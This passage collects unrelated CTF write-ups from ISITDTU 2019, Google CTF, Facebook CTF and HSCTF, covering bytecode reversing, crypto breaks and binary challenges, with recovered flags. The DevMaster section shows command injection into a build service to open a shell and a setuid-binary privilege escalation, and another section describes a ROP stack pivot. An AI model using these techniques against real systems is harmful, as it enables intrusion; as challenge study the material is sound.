17 >> 245 LOAD_FAST 0 (flag) 248 LOAD_CONST 15 (10) 251 LOAD_CONST 8 (14) 254 SLICE+3 # flag[10:14] 255 LOAD_CONST 16 ('d0nT') 258 COMPARE_OP 3 (!=) # flag[10:14] != 'd0nT' 261 POP_JUMP_IF_FALSE 277 # Jump past exiting (keep checking) if false
18 264 LOAD_FAST 1 (check) 267 LOAD_CONST 11 (1) 270 INPLACE_ADD 271 STORE_FAST 1 (check) 274 JUMP_FORWARD 563 (to 840)
19 >> 277 LOAD_GLOBAL 4 (int) 280 LOAD_FAST 0 (flag) 283 LOAD_CONST 17 (18) 286 BINARY_SUBSCR # flag[18] 287 CALL_FUNCTION 1 # int(flag[18]) 290 LOAD_GLOBAL 4 (int) 293 LOAD_FAST 0 (flag) 296 LOAD_CONST 18 (23) 299 BINARY_SUBSCR # flag[23] 300 CALL_FUNCTION 1 # int(flag[23]) 303 BINARY_ADD # int(flag[18])+int(flag[23]) 304 LOAD_GLOBAL 4 (int) 307 LOAD_FAST 0 (flag) 310 LOAD_CONST 19 (28) 313 BINARY_SUBSCR # flag[28] 314 CALL_FUNCTION 1 # int(flag[28]) 317 BINARY_ADD # int(flag[18])+int(flag[23])+int(flag[28]) 318 LOAD_CONST 7 (9) 321 COMPARE_OP 3 (!=) # int(flag[18])+int(flag[23])+int(flag[28]) != 9 324 POP_JUMP_IF_TRUE 347 # Jump to fail if true 327 LOAD_FAST 0 (flag) 330 LOAD_CONST 17 (18) 333 BINARY_SUBSCR # flag[18] 334 LOAD_FAST 0 (flag) 337 LOAD_CONST 19 (28) 340 BINARY_SUBSCR # flag[28] 341 COMPARE_OP 3 (!=) # flag[28] != flag[18]) 344 POP_JUMP_IF_FALSE 357 # Jump past fail (keep checking) if false
20 >> 347 LOAD_GLOBAL 1 (F41l) 350 CALL_FUNCTION 0 353 POP_TOP 354 JUMP_FORWARD 483 (to 840)
21 >> 357 LOAD_FAST 0 (flag) 360 LOAD_CONST 20 (15) 363 BINARY_SUBSCR # flag[15] 364 LOAD_CONST 21 ('L') 367 COMPARE_OP 3 (!=) # flag[15] != 'L' 370 POP_JUMP_IF_FALSE 386 # Jump past exit (keep checking) if false
22 373 LOAD_FAST 1 (check) 376 LOAD_CONST 11 (1) 379 INPLACE_ADD 380 STORE_FAST 1 (check) 383 JUMP_FORWARD 454 (to 840)
23 >> 386 LOAD_GLOBAL 0 (ord) 389 LOAD_FAST 0 (flag) 392 LOAD_CONST 22 (17) 395 BINARY_SUBSCR # flag[17] 396 CALL_FUNCTION 1 # ord(flag[17]) 399 LOAD_CONST 23 (-10) 402 BINARY_XOR # ord(flag[17])^-10 403 LOAD_CONST 24 (-99) 406 COMPARE_OP 3 (!=) # ord(flag[17])^-10 != -99 409 POP_JUMP_IF_FALSE 422 # Jump past fail (keep checking) if false
24 412 LOAD_GLOBAL 1 (F41l) 415 CALL_FUNCTION 0 418 POP_TOP 419 JUMP_FORWARD 418 (to 840)
25 >> 422 LOAD_GLOBAL 0 (ord) 425 LOAD_FAST 0 (flag) 428 LOAD_CONST 25 (20) 431 BINARY_SUBSCR # flag[20] 432 CALL_FUNCTION 1 # ord(flag[20]) 435 LOAD_CONST 4 (2) 438 BINARY_ADD # ord(flag[20])+2 439 LOAD_GLOBAL 0 (ord) 442 LOAD_FAST 0 (flag) 445 LOAD_CONST 26 (27) 448 BINARY_SUBSCR # flag[27] 449 CALL_FUNCTION 1 # ord(flag[27]) 452 COMPARE_OP 3 (!=) # ord(flag[20])+2 != ord(flag[27]) 455 POP_JUMP_IF_TRUE 502 # Jump to exit if true 458 LOAD_GLOBAL 0 (ord) 461 LOAD_FAST 0 (flag) 464 LOAD_CONST 26 (27) 467 BINARY_SUBSCR # flag[27] 468 CALL_FUNCTION 1 # ord(flag[27]) 471 LOAD_CONST 27 (123) 474 COMPARE_OP 4 (>) # ord(flag[27]) > 123 477 POP_JUMP_IF_TRUE 502 # Jump to exit if true 480 LOAD_GLOBAL 0 (ord) 483 LOAD_FAST 0 (flag) 486 LOAD_CONST 25 (20) 489 BINARY_SUBSCR # flag[20] 490 CALL_FUNCTION 1 # ord(flag[20]) 493 LOAD_CONST 28 (97) 496 COMPARE_OP 0 (<) # ord(flag[20]) < 97 499 POP_JUMP_IF_FALSE 515 # Jump past exit (keep checking) if false
26 >> 502 LOAD_FAST 1 (check) 505 LOAD_CONST 11 (1) 508 INPLACE_ADD 509 STORE_FAST 1 (check) 512 JUMP_FORWARD 325 (to 840)
27 >> 515 LOAD_GLOBAL 0 (ord) 518 LOAD_FAST 0 (flag) 521 LOAD_CONST 26 (27) 524 BINARY_SUBSCR # flag[27] 525 CALL_FUNCTION 1 # ord(flag[27]) 528 LOAD_CONST 29 (100) 531 BINARY_MODULO # ord(flag[27])%100 532 LOAD_CONST 1 (0) 535 COMPARE_OP 3 (!=) # ord(flag[27])%100 != 0 538 POP_JUMP_IF_FALSE 551 # Jump past fail (keep checking) if false
28 541 LOAD_GLOBAL 1 (F41l) 544 CALL_FUNCTION 0 547 POP_TOP 548 JUMP_FORWARD 289 (to 840)
29 >> 551 LOAD_FAST 0 (flag) 554 LOAD_CONST 30 (25) 557 BINARY_SUBSCR # flag[25] 558 LOAD_CONST 31 ('C') 561 COMPARE_OP 3 (!=) # flag[25] != 'C' 564 POP_JUMP_IF_FALSE 580 # Jump past exit (keep checking) if false
30 567 LOAD_FAST 1 (check) 570 LOAD_CONST 11 (1) 573 INPLACE_ADD 574 STORE_FAST 1 (check) 577 JUMP_FORWARD 260 (to 840)
31 >> 580 LOAD_GLOBAL 0 (ord) 583 LOAD_FAST 0 (flag) 586 LOAD_CONST 32 (26) 589 BINARY_SUBSCR # flag[26] 590 CALL_FUNCTION 1 # ord(flag[26]) 593 LOAD_CONST 4 (2) 596 BINARY_MODULO # ord(flag[26])%2 597 LOAD_CONST 1 (0) 600 COMPARE_OP 3 (!=) # ord(flag[26])%2 != 0 603 POP_JUMP_IF_TRUE 675 # Jump to fail if true 606 LOAD_GLOBAL 0 (ord) 609 LOAD_FAST 0 (flag) 612 LOAD_CONST 32 (26) 615 BINARY_SUBSCR # flag[26] 616 CALL_FUNCTION 1 # ord(flag[26]) 619 LOAD_CONST 33 (3) 622 BINARY_MODULO # ord(flag[26])%3 623 LOAD_CONST 1 (0) 626 COMPARE_OP 3 (!=) # ord(flag[26])%3 != 0 629 POP_JUMP_IF_TRUE 675 # Jump to fail if true 632 LOAD_GLOBAL 0 (ord) 635 LOAD_FAST 0 (flag) 638 LOAD_CONST 32 (26) 641 BINARY_SUBSCR # flag[26] 642 CALL_FUNCTION 1 # ord(flag[26]) 645 LOAD_CONST 34 (4) 648 BINARY_MODULO # ord(flag[26])%4 649 LOAD_CONST 1 (0) 652 COMPARE_OP 3 (!=) # ord(flag[26])%4 != 0 655 POP_JUMP_IF_TRUE 675 # Jump to fail if true 658 LOAD_FAST 0 (flag) 661 LOAD_CONST 32 (26) 664 BINARY_SUBSCR # flag[26] 665 LOAD_ATTR 5 (isdigit) 668 CALL_FUNCTION 0 # getattr(flag[26], isdigit) 671 UNARY_NOT # !getattr(flag[26], isdigit) 672 POP_JUMP_IF_FALSE 685 # Jump past fail (keep checking) if false
32 >> 675 LOAD_GLOBAL 1 (F41l) 678 CALL_FUNCTION 0 681 POP_TOP 682 JUMP_FORWARD 155 (to 840)
33 >> 685 LOAD_GLOBAL 4 (int) 688 LOAD_FAST 0 (flag) 691 LOAD_CONST 18 (23) 694 BINARY_SUBSCR # flag[23] 695 CALL_FUNCTION 1 # int(flag[23]) 698 LOAD_CONST 33 (3) 701 COMPARE_OP 3 (!=) # int(flag[23]) != 3 704 POP_JUMP_IF_FALSE 720 # Jump past exiting (keep checking) if alse
34 707 LOAD_FAST 1 (check) 710 LOAD_CONST 11 (1) 713 INPLACE_ADD 714 STORE_FAST 1 (check) 717 JUMP_FORWARD 120 (to 840)
35 >> 720 LOAD_FAST 0 (flag) 723 LOAD_CONST 35 (22) 726 BINARY_SUBSCR # flag[22] 727 LOAD_FAST 0 (flag) 730 LOAD_CONST 36 (13) 733 BINARY_SUBSCR # flag[13] 734 LOAD_ATTR 6 (lower) 737 CALL_FUNCTION 0 # getattr(flag[13], lower) 740 COMPARE_OP 3 (!=) # getattr(flag[13], lower) != flag[22] 743 POP_JUMP_IF_FALSE 756 # Jump past fail (keep checking) if false
36 746 LOAD_GLOBAL 1 (F41l) 749 CALL_FUNCTION 0 752 POP_TOP 753 JUMP_FORWARD 84 (to 840)
38 >> 756 LOAD_FAST 1 (check) 759 POP_JUMP_IF_FALSE 772 # Go to 772
39 762 LOAD_GLOBAL 1 (F41l) 765 CALL_FUNCTION 0 768 POP_TOP 769 JUMP_FORWARD 0 (to 772)
40 >> 772 LOAD_CONST 1 (0) 775 STORE_FAST 2 (tmp) # tmp = 0
41 778 SETUP_LOOP 30 (to 811) # Following code is equivalent to (for i in flag: tmp+=ord(i)) 781 LOAD_FAST 0 (flag) 784 GET_ITER # iter(flag) >> 785 FOR_ITER 22 (to 810) # iter(flag).next(), jump to 810 if no next() 788 STORE_FAST 3 (i) # i = iter(flag).next()
42 791 LOAD_FAST 2 (tmp) 794 LOAD_GLOBAL 0 (ord) 797 LOAD_FAST 3 (i) 800 CALL_FUNCTION 1 # ord(i) 803 INPLACE_ADD # tmp + ord(i) 804 STORE_FAST 2 (tmp) # tmp = tmp + ord(i) 807 JUMP_ABSOLUTE 785 # Loop back to 785 >> 810 POP_BLOCK # End of loop
43 >> 811 LOAD_FAST 2 (tmp) 814 LOAD_CONST 37 (2441) 817 COMPARE_OP 3 (!=) # tmp != 2441 820 POP_JUMP_IF_FALSE 833 # Jump to correct if false!
44 823 LOAD_GLOBAL 1 (F41l) 826 CALL_FUNCTION 0 829 POP_TOP 830 JUMP_FORWARD 7 (to 840)
46 >> 833 LOAD_GLOBAL 7 (C0rr3ct) # Woo! 836 CALL_FUNCTION 0 839 POP_TOP >> 840 LOAD_CONST 0 (None) 843 RETURN_VALUE
F41l func: 3 0 LOAD_CONST 1 ('Bye!!!') 3 PRINT_ITEM 4 PRINT_NEWLINE
4 5 LOAD_CONST 2 (0) 8 RETURN_VALUE
None```
### What We Know
```python* ord(flag[0])+52 == ord(flag[-1])* ord(flag[-1]-2 == ord(flag[7])* flag[0:7] == 'ISITDTU'* flag[9] == flag[14] == flag[19] == flag[24] # after filling the rest of the flag in, it's apparent that these should be '_'* ord(flag[8]) = 49 (flag[8] == '1')* flag[8] == flag[16]* flag[10:14] == 'd0nT'* int(flag[18]) + int(flag[23] + int(flag[28]) == 9* flag[18] == flag[28] # flag[18] == flag[23 == flag[28] == '3'* flag[15] == 'L'* ord(flag[17])^-10 == -99 # flag[17] == 'k'* ord(flag[20])+2 == ord(flag[27])* ord(flag[27]) <= 123* ord(flag[20]) >= 97* ord(flag[27])%100 = 0 # flag[27] == d; flag[20] == b* flag[25] == 'C'* ord(flag[26])%2,3,4 == 0 # ord(flag[26]) is a multiple of 24* flag[26] is an int # flag[26] == '0'* int(flag[23]) == 3* flag[22] == flag[13].lower() # flag[22] == 't'* sum of ord(i) for i in flag == 2441 # with only one character missing at this point, ord(flag[21]) has to be 58; flag[21] == ':'```
### The FlagUsing what we know has to be true about the flag, we can figure out what it is:```ISITDTU{1_d0nT_L1k3_b:t3_C0d3}``` |
# decrypt to me Writeup
### ISITDTU Quals 2019 - crypto 395 - 42 solves
> decrypt to me?????
#### Observations
The seed of a given random number generator is the length of flag. By observing the code, length of ciphertext and plaintext are the same. Therefore I directly obtain the seed of [prng](https://en.wikipedia.org/wiki/Pseudorandom_number_generator) and decrypt(XORing ciphertext and random number output bit by bit) to get the flag. I get the flag:```ISITDTU{Encrypt_X0r_N0t_Us3_Pseud0_Rand0m_Generat0r!!!!!}```
Given ciphertext: [config.py](config.py)
Encryption code: [task.py](task.py)
Exploit code: [solve.py](solve.py) |
# Chaos Writeup
### ISITDTU Quals 2019 - crypto 304 - 47 solves
> Could you help me solve this case? I have a tool but do not understand how it works.nc 104.154.120.223 8085
#### Observations
Our goal is to submit `key` to get flag. By interacting(encrypting arbitrary printable strings), the system is simply pseudo-substitution cipher. Let `ct` be the given ciphertext, and `pt` the plaintext(`key`). Pattern for decryption is obtained simply by observations, which is stated below.
```pythonpt = ""for c in ct: if len(c) == 8: pt += c[0] elif len(c) == 11 and c[6] in punctuation: pt += c[3] elif len(c) == 11 and c[6] in ascii_uppercase: pt += c[7] else: pt += c[-1]```
By sending `key` to server, I get the flag:
```ISITDTU{Hav3_y0u_had_a_h3adach3??_Forgive_me!^^}```
Exploit code: [solve.py](solve.py) |
# Google CTF 2019 - DevMaster 8000
This write-up talks most likely about the intended solution for this challenge.
## Description```Welcome to the DevMaster 8000, your one-stop shop for building your binaries in the cloud!
I wonder who else might be sharing the DevMaster 8000.
nc devmaster.ctfcompetition.com 1337```
## Thought process
### Initial reconImportant points:>building your binaries in the cloud!
>I wonder who else might be sharing the DevMaster 8000.
So they build binaries for you, and they give you a hint that someone else (probably an automated intended process) is using that same machine.
First thing to do is to download the attachment and see what's inside. You are welcomed with a huge amount of information, in specific, documentation in a `README.md` file.
After skimming through the file you can see the program can be used this way:```client nc <ip> <port> -- header.h source.cc -- my_binary -- g++ source.cc -o my_binary```
So we run something like:```./client nc devmaster.ctfcompetition.com 1337 -- test.c -- test -- g++ test.c -o test```
Contents of `test.c`:```#include <iostream>
int main(){ std::cout << "Hello world!" << std::endl;}```
This returns a binary with the name `test` on our current directory.
### RCE
We can see that the last part of that command (`g++ test.c -o test`) smells fishy, so we try modifying that a bit and send:```./client nc devmaster.ctfcompetition.com 1337 -- test.c -- test -- whoami```
Output:```sandbox-runner-0Received unexpected opcode 1836213620 from server.[...]Received unexpected opcode 1818326560 from server.```
Great! Seems like arbitrary command execution, now we'll try modifying that command a bit.```./client nc devmaster.ctfcompetition.com 1337 -- test.c -- test -- bash 2> /dev/null```
This rewards us with an interactive shell.
### LPE
After exploring the file system for a bit we run a `ls -lah` on `/home/user/` and see this output:```ls -lahtotal 1.7Mdrwxrwxr-x 3 root root 360 Jun 19 21:13 .drwxrwxrwt 3 root root 60 Jun 26 09:11 ..-r-xr-xr-- 1 admin admin 56K Jun 26 09:12 admin-r-xr-xr-- 1 root root 2.3K May 30 06:10 admin.cc-r-xr-xr-- 1 root root 76K Jun 19 21:05 admin_builder_clientdrwxrwxr-x 6 root root 120 Jun 26 09:12 builds-r-xr-xr-- 1 root root 1.6K May 30 20:36 challenge.sh-r-xr-xr-- 1 root root 85K Jun 19 21:05 client-rwsr-sr-- 1 root root 13K Jun 19 21:05 drop_privs-r-xr-xr-- 1 root root 24K Jun 19 21:05 executor-r-xr-xr-- 1 root root 1.1K Jun 19 02:45 file_setup.sh-r--r----- 1 admin admin 64 Mar 26 01:35 flag-r-xr-xr-- 1 root root 1.3M Jun 19 21:05 linux-sandbox-r-xr-xr-- 1 root root 68K Jun 19 21:05 multiplexer-r-xr-xr-- 1 root root 1.3K Jun 19 02:45 nsjail_setup.sh-r-xr-xr-- 1 root root 13K Mar 26 00:59 picosha2.h-r-xr-xr-- 1 root root 106K Jun 19 21:05 server-r-xr-xr-- 1 root root 724 May 28 01:41 target_loop.sh```
`drop_privs` sticks out as a binary with the execute and setuid bit set for user and group root.
Luckily when we run `id` we see that we are in the group root for some reason:```uid=1338(sandbox-runner-0) gid=1338(sandbox-runner-0) groups=1338(sandbox-runner-0),0(root)```
Since we have the `drop_privs` source code, we can just check it (`src/drop_privs.cc`) to see what it does.
We see the string `std::cerr << "Usage: " << argv[0] << " user group command [args...]" << std::endl;` so we try to execute:```./drop_privs admin admin cat /home/user/flag```
And the output is unsurprisingly the flag.```CTF{x}```
The binary does literally just run the command you specify with the permissions from user and group you specify if they exist. |
# Facebook CTF 2019
## imageprot
Bài này mình quyết định debug để hiểu rõ flow của chương trình nên làm khá tốn thời gian.
Đầu tiền main gọi `std::rt::lang_start_internal::h578aadb15b8a79f8` - hàm này đơn giản chỉ là obfuscate để dấu việc trực tiếp gọi hàm `imageprot::main::h60a99eb3d3587835` (hàm main thật sự)
Trong hàm main chính này, sử dụng hàm `imageprot::decrypt::h56022ac7eed95389` làm phương thức obfuscate chính.
Hàm `imageprot::decrypt::h56022ac7eed95389()` này nhận 3 argument và tiến hành decrypt. Thuật toán khá đơn giản là decode_base64(arg3) XOR với arg2
I spent a lot of time to debugging to clearly understanding the control flow of the program.
Firstly, the main() function calls `std::rt::lang_start_internal::h578aadb15b8a79f8` function - this function just do the work that hidding the direct `imageprot::main::h60a99eb3d3587835` function call (which is the real main() function) by using obfuscation technique.
This real main() function using `imageprot::decrypt::h56022ac7eed95389` function as the major obfuscation method. So what does `imageprot::decrypt::h56022ac7eed95389` function do?
The answer is this function takes 3 arguments then start to decrypt by using a simple algorithm: decode_base64(arg3) XOR arg2
```cbase64::decode::decode::h5b239420e35447bb(&a3_base64, arg3);```
```cdecode_i = *(_BYTE *)(arg3_base64_ + i) ^ *(_BYTE *)(arg2_ + i % len_arg2);```
Ở vòng lặp đầu tiên, chương trình sử dụng hàm `imageprot::decrypt::h56022ac7eed95389` decrypt ra 4 string là `gdb`, `vmtoolsd`, `vagrant` và `VBoxClient` (Cái này mình không chắc nhưng lúc debug tiếp thì có 1 đoạn check 4 string này, có vẻ là require để chạy chương trình)
Ngay sau đó, chương trình tiếp tục sử dụng hàm `imageprot::decrypt::h56022ac7eed95389` decrypt ra 1 url là `http://challenges.fbctf.com/vault_is_intern` sau đó gọi hàm `imageprot::get_uri::h3e649992b59ca680` để get url này. Vì trang này đã down nên chương trình sẽ ngắt tại đây (lí do chương trình không thể chạy)
On the first loop, the program uses `imageprot::decrypt::h56022ac7eed95389` function and decrypt. It returns 4 strings: `gdb`, `vmtoolsd`, `vagrant` and `VBoxClient` (I'm not sure about this but when I continue debugging I found a check 4 strings part, it seems like a requirement of running the program).
Shortly, the program continuing uses `imageprot::decrypt::h56022ac7eed95389()` function. It returns an url. Then the program call `imageprot::get_uri::h3e649992b59ca680` function to get this url. Because the site `http://challenges.fbctf.com/vault_is_intern` is down so the program will break at this point.

Tiếp theo hoàn toàn tương tự với 1 url khác `http://httpbin.org/status/418` nhưng trang hoàn toàn bình thường nên sẽ lấy dữ liệu từ trang này.
Simmilar to a different url but now the site is available so program can get its data.

Cuối cùng, hàm `imageprot::decrypt::h56022ac7eed95389()` xử lí 1 mã base64 khá lớn với dữ liệu được get từ `http://httpbin.org/status/418` (mình thấy sau sau đó có gọi một số hàm md5 tưởng vẫn chưa hết nên lan man đoạn cuối này khá lâu)
Finally, the `imageprot::decrypt::h56022ac7eed95389()` function analyzes a quite large base64 code with the data receive from `http://httpbin.org/status/418` (After that I found some md5 functions that makes me think the program still not end. Hence, it took me many times to completing the challenge).

Vì đoạn mã base64 khá lớn và đề cũng yêu cầu `...get the photo back out` nên mình đoán đây là 1 file. Nên tiến hành export nó ra và giãi mã nó.
Because the base64 code is fairly large and the desciprtion of the challenge is `...get the photo back out` so I guessed this is a file. Export it then decode to get flag.
Đây là đoạn script giải mã:
Here is a script to decode it:
[restore-image.py](/fbctf2019/imageprot/restore-image.py)

## SOMBRERO ROJO (part 1)main:```cif ( argc <= 1 ) { printt("Give me some args!", argv); returnn(1LL);}if ( argc == 2 ) { decod3((__int64)&fake_flag); decod3((__int64)&check_str); if ( (unsigned int)str_cmp((__int64)&check_str, (__int64)argv[1]) ) { pr1nt(1, (__int64)"Hmmm..."); printt("Try again!", "Hmmm..."); returnn(1LL); } argv = (const char **)"%s{%s}\n"; v3 = (__int16 *)1; LOBYTE(pre_fake_flag) = pre_fake_flag + 8; BYTE1(pre_fake_flag) += 3; BYTE2(pre_fake_flag) += 15; HIBYTE(pre_fake_flag) -= 2; LOBYTE(v11) = v11 - 2; // decode str to Nope pr1nt(1, (__int64)"%s{%s}\n", &pre_fake_flag, &fake_flag);}else { v3 = &v8; v8 = 10554; v9 = 0; printt(&v8, argv); // print ':)'}```Hàm main này đơn giản chỉ là check argument với `my_sUp3r_s3cret_p@$$w0rd1` và in ra 1 flag giả là `Nope{Lolz_this_isnt_the_flag...Try again...}`. Stuck đoạn này khá lâu thì có 1 hint của anh m3kk_kn1ght: `Binary check debugger by using ptrace. Ptrace call in sub_4005A0(a function in init_array of elf)`.
Sau đó mình tìm các initialization functions trong `.init_array`, thấy hàm `sub_4005A0` có sử dụng hàm `ptrace` (sub__44EC50) để anti-debug nên tiến hành debug hàm này. (Để bypass qua `ptrace` có rất nhiều cách, ở đây mình đơn giản là set cờ ZF = 0)
Sau khi bypass qua ta sẽ thấy binary đọc file `/tmp/key.bin` và check dữ liệu từ key.bin trước khi in flag. Vì mình muốn lấy flag nên bypass qua thay vì decrypt để biết require của key.bin
This main() function basically checking argument with `my_sUp3r_s3cret_p@$$w0rd1` and printing a fake flag: `Nope{Lolz_this_isnt_the_flag...Try again...}`. I'd got stuck for a long time until got a hint from @m3kk_kn1ght: `Binary check debugger by using ptrace. Ptrace call in sub_4005A0(a function in init_array of elf)`.
After that I looked for initialization functions on `.init_array`, then I found `sub_4005A0` function used `ptrace` (sub_44EC50) function to anti-debug so I started to debug this function (There are many ways to bypass through `ptrace` function, basically I set ZF flag value to zero)
After bypassing ptrace function successfully, easily found that the binary read file `/tmp/key.bin` and check data from key.bin before print the flag. In conclusion, to get the flag, all the thing we need is bypass the check data from `/tmp/key.bin` part.
access file /tmp/key.bincheck /tmp/key.bin data```=========================================================[11] Accepting connection from 192.168.85.1...Warning: Bad ELF byte sex 2 for the indicated machinefb{7h47_W4sn7_S0_H4Rd}```
## go_get_the_flagBài này khá đơn giản, vì cho sau nên đoán là này chỉ để cho điểm.
Binary là dạng ELF đã tripped. Nên mình xử lí bằng `radare2`
Check function tìm được các hàm chính:
This challenge is quite simple. The binary file has a ELF format and it was tripped. And so I decided to use `radare2` to analyze it.
To begin with, I checked function and found many important function below:```python0x004916b0 341 sym.go.main.main0x00491810 537 sym.go.main.checkpassword0x00491a30 1092 sym.go.main.decryptflag0x00491e80 151 sym.go.main.wrongpass0x00491f20 117 sym.go.main.init```
Ở hàm `sym.go.main.checkpassword`, ta thấy có kiểm tra argument qua hàm memequal với `s0_M4NY_Func710n2!`
Then, I found that at `sym.go.main.checkpassword` function had a check argument through memequal with `s0_M4NY_Func710n2!`
```assembly0x00491868 488b8c24c800. mov rcx, qword [arg_c8h] ; [0xc8:8]=-1 ; 200 0x00491870 48890c24 mov qword [rsp], rcx 0x00491874 488d15d05803. lea rdx, [0x004c714b] ; "s0_M4NY_Func710n2!streams pipe errorsystem page size (tracebackancestorsuse of clo0x0049187b 4889542408 mov qword [var_8h], rdx 0x00491880 4889442410 mov qword [var_10h], rax 0x00491885 e8660bf7ff call sym.go.runtime.memequal ;[2] 0x0049188a 807c241800 cmp byte [var_18h], 0 ; [0x18:1]=255 ; 0 0x0049188f 74c2 je 0x491853```Now it's easy to get flag:
```sh[hsc@hscorpion dist]$ ./ggtf s0_M4NY_Func710n2!fb{.60pcln74b_15_4w350m3}``` |
For this challenge, we were presented with a netcat command to connect to a server. Once connected, there is a classic math problem with weighing 12 balls a max times of 3 with an odd one that weighs heavier or lighter than the others. 
The problem is described here: [Article](https://www.mathsisfun.com/pool_balls_solution.html://). The problem is in thinking that with a scale you have two outcomes, but in reality, you have three (if you weigh the balls in the right order). The article explains the solution as well. Given the article, I wrote a script that fits those rules, (With a ton of if-statements) that solves this problem. There are better ways of doing it (with many less lines of code), but it works none-the-less. The script can be found [here](https://github.com/Cap-Size/CTF_Write_Ups/blob/master/ISITDTU_2019/balls/balls.py) |
# Old Story
This is an old story about wheat and chessboard, and it's easy, right?
File:[Old_story.zip](Old_story.zip)
Inside the zip got a `cipher.txt`:```[524288, 4194304, 16384, 1024, 4194304, 32, 262144, 2097152, 4194304, 16777216, 70368744177664, 2251799813685248, 8192, 8388608, 8192, 4503599627370496, 16777216, 36028797018963968, 16384, 2199023255552, 67108864, 1048576, 2097152, 18014398509481984, 33554432, 68719476736, 4, 17179869184, 536870912, 549755813888, 262144, 4294967296, 16384, 128, 288230376151711744, 137438953472, 16777216, 36028797018963968, 1024, 4503599627370496, 16384, 68719476736, 262144, 4611686018427387904]```Which is a list of numbers
We notice all the numbers is power of 2
So we wrote a script to get the power index of each number:
```pythonimport mathtext = [524288, 4194304, ...]for t in text: print math.log(t,2)```Output:```...37.024.055.010.052.014.036.018.062.0```
Googling `wheat and chessboard` we found a clue which is **64**
What if the index is in **base64**?
So we code a script based on [base64 table](https://en.wikipedia.org/wiki/Base64#Base64_table):
```pythonimport stringimport mathtext = [524288, 4194304, ...]base = string.ascii_uppercase+string.ascii_lowercase+string.digits+"+/"print ''.join([base[int(math.log(t,2)-1)] for t in text]).decode('base64')```
Just Guessing, simple challenge!
# Flag> ISITDTU{r1c3_che55b0ard_4nd_bs64} |
We have two input chances every time. The first one is to input a `string` and the second one to input `delimiters`. Then every byte in `string` will be replaced to `\x00` if the byte occurs in `delimiters`, which is done by `strsep()`
But notice that if we input a `string` of 0x400-byte length, out string is `input_strings + [rbp]` actually. And if the `lsb([rbp])` is in `delimiters`, we will set `lsb([rbp])` to `\x00`. This is the only bug. Because we will have three `leave; ret` continuously, we will pivot our stack. By manipulate our input, we are able to ROP.
Read my [exploit](https://github.com/bash-c/pwn_repo/blob/master/ISITDTU2019_tokenizer/solve.py) for more details and follow [me](https://github.com/bash-c/) if you like this Writeup :) |
# Easy RSA 2 Writeup
### ISITDTU Quals 2019 - crypto 919 - 16 solves
> Let's continue with RSA
#### Observations
The problem is to crack [multi-prime RSA](http://cacr.uwaterloo.ca/techreports/2006/cacr2006-16.pdf). Modulus `n` and private key exponenet `d` are generated by the following code.
```pythonp1 = getPrime(512)p2 = gmpy2.next_prime(p1)q1 = getPrime(512)q2 = gmpy2.next_prime(q1)n = p1 * p2 * q1 * q2phi = (p1 - 1) * (p2 - 1) * (q1 - 1) * (q2 - 1)d = gmpy2.invert(e,phi)```
As the code says, all the values of primes `p1`, `p2`, `q1`, `q2` are very close to each other, which means value of `p1 * p2` and `q1 * q2`, `p1 * q2` and `p2 * q1` are also very close. Let `c` be the difference between those two values
#### Vulnerability: factors are too close!
`n`'s bit length is 2047. There is a high chance that `c` differs less then `{4 * N}^{1 / 4}` from `sqrt{N}`, `n` can be factored by using [fermat factorization method](https://en.wikipedia.org/wiki/Fermat%27s_factorization_method). By factoring `n`, I got all the values of `p1 * q1`, `p1 * q2`, `p2 * q1`, `p2 * q2`. By calculating greatest common divisor with `p1 * q1` and `p1 * q2`, I can recover `p1`!. All the other factors can be recovered by using a similar manner. Now it is straigtforward. Calculate `phi` and `d` and get the flag. I get the flag:
```ISITDTU{C0ngratu1ati0ns_Attack_RSA_Multi_prim3!!!!}```
I think my solution is unintended since I didn't use the values below. Wondering how to solve the challenge using these information...
```pythonk1 = pow(p1 + q2, e, n)k2 = pow(p2 + q1, e, n)```
Code for parameter generation: [task.py](task.py)
Parsed parameters: [config.py](config,py)
Exploit code: [solve.py](solve.py) |
# Tux Talk Show 2019
## Description
Tux Talk Show 2019. Yes, this is trash.
nc rev.hsctf.com 6767
[trash](trash)
## Solution
It is a number guessing game, and the correct number was generated by random function.
At first, I tried using the same random [generator](random.cpp) as the code and calculated the number using [script](random.py) but to no avail.
I figured that it was because the timezone problem, the srand(time(0)) was different in different timezone.
But I noticed that the server only took the remainder of the number generated divided by 10, and there were only 6 numbers that involved in calcluating the answer.

Therefore, I might be able to guess it by guessing a possible answer several time.
And that's how I got it right!

The flag is
```hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}``` |
# Sandstone - 383 points
Sandstone was a sandbox challenge in Google CTF 2019. I was playing with 5BC, we got 9th place.
The challenge description:```Everyone does a Rust sandbox, so we also have one!```
## Intro to RustRust is a systems programming language that is designed to be memory safe like java/python but also delivers the same performance as languages like C++.Rust achieves this by using a sophisticated compiler technology that forbids having an object which is both shared and mutable. This prevents many classes of memory corruption bugs.It also comes with a package manager called cargo, which is used to build Rust crates (libraries).Rust has also builtin support for [FFI](https://en.wikipedia.org/wiki/Foreign_function_interface) (e.g. talking to C code) and an ability to relax the compiler restrictions using the [unsafe](https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html) keyword to build abstraction which the compiler cannot reason about being safe. Both FFI and unsafe can change raw memory and cause a program not to be memory safe - this is also called unsound.
## The ChallengeIn the challenge [zip](bdf3d61937fa0e130646d358b445966f16870107defa368fbc66a249c94fd6e1.zip), we get two main files - `main.rs` - which is the only Rust source and a `Dockerfile`.
Let's first look at the `Dockerfile`:```dockerFROM ubuntu:19.04
RUN apt update && apt install -y wget build-essential libseccomp-devENV CARGO_HOME=/opt/cargo RUSTUP_HOME=/opt/rustup PATH="${PATH}:/opt/cargo/bin"ADD https://sh.rustup.rs /rustup-initRUN chmod a+x /rustup-init && /rustup-init -y --default-toolchain nightly-2019-05-18 && rm /rustup-init
RUN set -e -x; \ groupadd -g 1337 user; \ useradd -g 1337 -u 1337 -m user
RUN mkdir -p /chall/srcWORKDIR /challCOPY flag Cargo.toml Cargo.lock /chall/COPY src/main.rs /chall/src/main.rsRUN cargo build --release
# Ignore ptrace-related failure, this is just for caching the deps.RUN echo EOF | ./target/release/sandbox-sandstone || true
RUN set -e -x ;\ chmod +x /chall/target/release/sandbox-sandstone; \ chmod 0444 /chall/flag
CMD ["/chall/target/release/sandbox-sandstone"]```
Looks straight forward, the challenge setup downloads the rust toolchain, builds the challenge binary, sets-up the flag and runs the challenge binary.
